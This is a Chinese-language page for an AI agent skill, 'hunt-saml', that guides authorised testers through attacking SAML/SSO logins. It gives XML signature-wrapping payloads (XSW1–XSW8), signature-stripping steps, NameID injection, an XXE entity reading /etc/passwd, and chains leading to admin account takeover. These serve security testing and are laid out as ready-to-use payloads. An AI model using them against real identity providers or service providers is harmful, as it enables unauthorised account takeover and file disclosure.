关于 hunt-saml
hunt-saml 是用于评估 SAML 和 SSO 实现的安全测试技能,面向授权测试人员,涵盖攻击面、绕过手法及基于证据的分级判断。
主要功能
- 01发现 SAML 端点
- 02测试 XML 签名包装
- 03探测解析器差异与签名混淆
- 04检查 XXE 和 NameID 操纵
- 05评估漏洞严重性与影响
适用场景
- 01在授权测试中评估 SAML 登录流程
- 02检查签名验证和解析器行为
- 03验证 SAML 修改是否影响授权
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-saml安装后在 Claude Code 中输入/hunt-saml确认已加载。
详细介绍
20. SAML / SSO 攻击
SSO 漏洞通常能获得高危到严重级别的奖励。XML 解析器众所周知存在行为不一致的问题。
攻击面
# Find SAML endpoints
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback
攻击 1:XML 签名包装(XSW)
<saml:Response>
<saml:Assertion ID="legit">
<NameID>[email protected]</NameID>
<ds:Signature></ds:Signature>
</saml:Assertion>
</saml:Response>
<saml:Response>
<saml:Assertion ID="evil">
<NameID>[email protected]</NameID>
</saml:Assertion>
<saml:Assertion ID="legit">
<NameID>[email protected]</NameID>
<ds:Signature></ds:Signature>
</saml:Assertion>
</saml:Response>
攻击 2:在 NameID 中注入注释
<NameID>[email protected]</NameID>
攻击 3:移除签名
1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
2. Delete the entire <Signature> element
3. Change NameID to [email protected]
4. Re-encode: base64 -w0 saml.xml (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
5. Submit — if server doesn't verify signature presence = admin ATO
攻击 4:SAML 断言中的 XXE
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion>
<NameID>&xxe;</NameID>
</saml:Assertion>
攻击 5:篡改 NameID
Test these NameID values:
- [email protected] (generic admin)
- [email protected]
- [email protected]
- Any email found in disclosed reports for this program
- ${7*7} (SSTI if NameID gets rendered in a template)
工具
# SAMLRaider (Burp extension) — automated XSW testing
# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab
# Manual workflow:
echo "BASE64_SAML" | base64 -d > saml.xml
# Edit saml.xml
base64 -w0 saml.xml # Re-encode
# URL-encode the result before sending as SAMLResponse parameter
SAML 初步排查
XSW successful = Critical (ATO any user)
Sig stripping = Critical (ATO any user)
Comment injection = High (ATO admin)
XXE in assertion = High (file read / SSRF)
NameID manip = Medium/High (depends on what NameID maps to)
攻击 6:脆弱的锁——SAML 绕过(Fedotkin,2025 年 12 月)
来源: https://portswigger.net/research/the-fragile-lock
Alexander Fedotkin 于 2025 年 12 月发表的研究揭示了多类 SAML 绕过,其根源在于解析器差异、规范化不匹配以及多重签名混淆。主要有以下三种攻击向量:
6a. 解析器差异
不同的 XML 解析器(libxml2、Xerces、MSXML、.NET 中的 System.Xml)对以下内容的处理并不一致:
- XML 注释边界——签名方使用
C14N without comments,验证方使用C14N with comments,或反之。实际签名的值与经过验证的值不一致。 - 空白规范化——带尾随空格的
NameID、属性之间的制表符与空格、命名空间前缀展开(xmlns:prefix 与继承的默认命名空间)。 - 实体展开顺序——解析器管道中内部实体与外部实体的处理顺序,可能导致解析后的 DOM 与签名前验证的规范形式不一致。
- CDATA 段处理——
<NameID><![CDATA[[email protected]]]></NameID>与<NameID>[email protected]</NameID>——有些解析器会移除 CDATA,有些则会保留。
检测脚本:
# Re-encode the same SAML assertion with multiple XML formatting variations.
# If any variation produces a different NameID than what was signed → parser differential.
# Variation 1 — Whitespace in element content
echo "<saml:Assertion ID="legit"><NameID> [email protected] </NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64
# Variation 2 — CDATA wrapping
echo "<saml:Assertion ID="legit"><NameID><![CDATA[[email protected]]]></NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64
# Variation 3 — Namespace redeclaration
echo "<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="legit"><NameID>[email protected]</NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64
6b. 多重签名/复制签名
有些 SP 接受包含多个 <ds:Signature> 元素的断言。攻击者可以:
- 获取任意断言的有效签名(例如,从公开的 SAML 演示 IdP 获取,或使用先前登录时的签名)。
- 移除原始签名断言,只保留
<ds:Signature>。 - 将新的恶意断言与复制的签名元素组合起来。
<saml:Response>
<saml:Assertion ID="evil">
<NameID>[email protected]</NameID>
<AttributeStatement>
<Attribute Name="Role"><AttributeValue>Administrator</AttributeValue></Attribute>
</AttributeStatement>
</saml:Assertion>
<ds:Signature></ds:Signature>
</saml:Response>
6c. 新型 XSW 变体(XSW2–XSW8)
除经典的 XSW1(注入重复断言)外,这些变体还能绕过增加了基于位置或 ID 的签名绑定的现代 SAML 库:
| 变体 | 技术 | 绕过对象 |
|---|---|---|
| XSW2 | 将 <ds:Signature> 移到恶意断言的子元素中 | 根据签名相对于根元素的位置进行验证的库 |
| XSW3 | 在引用 URI 中,使用 XML 注释边界拆分断言 | 使用 URI 片段匹配的库 |
| XSW4 | 在已签名断言中注入第二个 AssertionIDRef/AuthnStatement | 处理所有语句,而不只是第一个语句的库 |
| XSW5 | 在注入的断言上使用 xml:id/ID 属性,使其与已签名引用的 URI 相匹配 | 根据 ID 字符串而非 DOM 位置进行匹配的库 |
| XSW6 | 命名空间前缀注入——为 SAML 命名空间声明别名,使注入的断言使用不同前缀但相同命名空间 | 以此前缀字符串为匹配依据的库 |
| XSW7 | 在签名引用 URI 中使用 XML 外部实体(XXE),以篡改摘要校验 | 在签名验证期间解析实体的库 |
| XSW8 | 在 <ds:Transform> 元素中注入 XSLT 转换——转换签名后的 DOM | 在验证后应用转换的库 |
用于探测 XSW2–XSW5 的脚本:
# XSW2: Signature inside child element
xsw2_payload = '''<saml:Response>
<saml:Assertion ID="evil">
<NameID>[email protected]</NameID>
<ds:Signature></ds:Signature>
</saml:Assertion>
</saml:Response>'''
# XSW3: Comment-split URI reference
xsw3_payload = '''<saml:Response>
<saml:Assertion ID="legit">
...
</saml:Assertion>
<saml:Assertion ID="evil">
<NameID>[email protected]</NameID>
</saml:Assertion>
</saml:Response>'''
# XSW4: Extra statement inside the legit assertion
xsw4_payload = '''<saml:Response>
<saml:Assertion ID="legit">
<ds:Signature></ds:Signature>
<saml:AuthnStatement>
<saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PreviousSession</saml:AuthnContextClassRef></saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="Role"><saml:AttributeValue>Administrator</saml:AttributeValue></saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</saml:Response>'''
初步排查:密钥混淆变体
当 SP 信任多个 IdP(联邦环境中很常见)时,由 IdP-A(攻击者控制的 IdP)签名的断言会被发送到信任 IdP-B(受害者 IdP)的 SP。如果 SP 未验证 <Issuer> 或 <AudienceRestriction>,由攻击者控制的 IdP 签名的断言就能授予访问权限。
# Test key confusion:
# 1. Register as an IdP on a federated platform
# 2. Sign an assertion for [email protected] with YOUR IdP's private key
# 3. POST to victim SP's AssertionConsumerService
# 4. If SP accepts the assertion without checking Issuer = expected IdP → ATO
验证
运行此自测,确认 SAML 测试准备就绪:
-
技能完整性 — 确认技能文件可读取且格式正确:
grep -q "name: hunt-saml" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能设有类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分 — 确认已记录陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
全部 3 项测试均通过,即可确认技能结构规范并已准备就绪。
陷阱
- 未验证签名的 SAML — 未签名断言或
WantAssertionsSigned="false"是首要的 SAML 发现项。 - XML 签名包装(XSW) — 经典的 SAML 攻击。测试全部 8 种 XSW 变体,而不只是 #1。
- SAML 响应重放 — 在有效期内捕获并重放 SAML 响应。测试 NotOnOrAfter 强制校验。
- SAML 与 JWT 混淆 — SAML 断言是 XML;JWT 是 JSON。不要混用攻击技术。
- SP 元数据可公开访问 — 访问
/saml/metadata只提供信息。真正的发现项是元数据揭示的内容(未签名请求、弱算法)。
相关技能与攻击链
hunt-ato— SAML XSW 与缺失的受众限制验证相结合,是典型的 SP 冒充管理员攻击链。攻击链原语:XSW1 攻击将已签名断言移至次要位置 + 在主要位置注入带有[email protected]的恶意断言 + SP 处理第一个断言(恶意断言)+ SP 不验证<AudienceRestriction>,因此接受原本发给 IdP-A 的断言 → 跨联邦租户边界实现管理员 ATO。hunt-auth-bypass— SAML 去除签名是教科书式的身份验证绕过模式;此技能提供 SAML 机制,hunt-auth-bypass 则提供更广泛的绕过纪律。攻击链原语:捕获有效的 SAMLResponse → 用正则表达式彻底移除<ds:Signature>元素 → 将<NameID>修改为 admin → 重新编码为 base64 → POST 到/saml/acs→ SP 的 wantAssertionsSigned=false 设置使其静默接受 → 无需任何加密质询即可建立管理员会话。hunt-oauth— 由 SAML 支持的 OAuth 发行方会将断言层面的漏洞转化为令牌层面的 ATO。攻击链原语:SP 在验证 SAML 断言后签发 OAuth 持有者令牌 + XSW 将 NameID 改为 admin → SP 的令牌端点签发带有管理员声明的 OAuth 令牌 → 所有下游 OAuth 作用域 API(管理员 API、计费 API、用户管理 API)都基于单个伪造断言授予管理员访问权限。hunt-xxe— SAML 断言本身就是 XML;断言解析器中的 XXE 是叠加在 XSW 之上的独立攻击链。攻击链原语:SAML 解析器未设置disallow-doctype-decl+ 在断言中插入<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>+<NameID>&xxe;</NameID>→ SP 呈现或记录 NameID → /etc/passwd 内容通过错误响应或审计日志泄露 → 在 SAML SP 基础设施上实现文件读取。security-arsenal— 获取 SAML/XSW Payload Catalog(XSW1-XSW8 模板、针对 libxml/Xerces/MSXML 解析器差异的注释注入变体、包含多个 Reference 元素的签名包装、攻击者控制的 IdP 签名断言被轻信信任关系的 SP 接受时使用的密钥混淆载荷),以及针对“在错误端点接受 SAMLResponse”这类实际并未验证的声明的始终拒绝清单。triage-validation— 在将仅修改与安全无关属性(显示名称、区域设置)、却未改变 NameID、AuthnContext 或承载角色的 AttributeStatements 的 SAML“漏洞”评为 Critical 之前,先运行 Pre-Severity Gate。未跨越授权边界的理论性 XML 操纵属于信息级,而非 Critical——改变身份验证决策的步骤才是判定门槛。
评论
支持 Markdown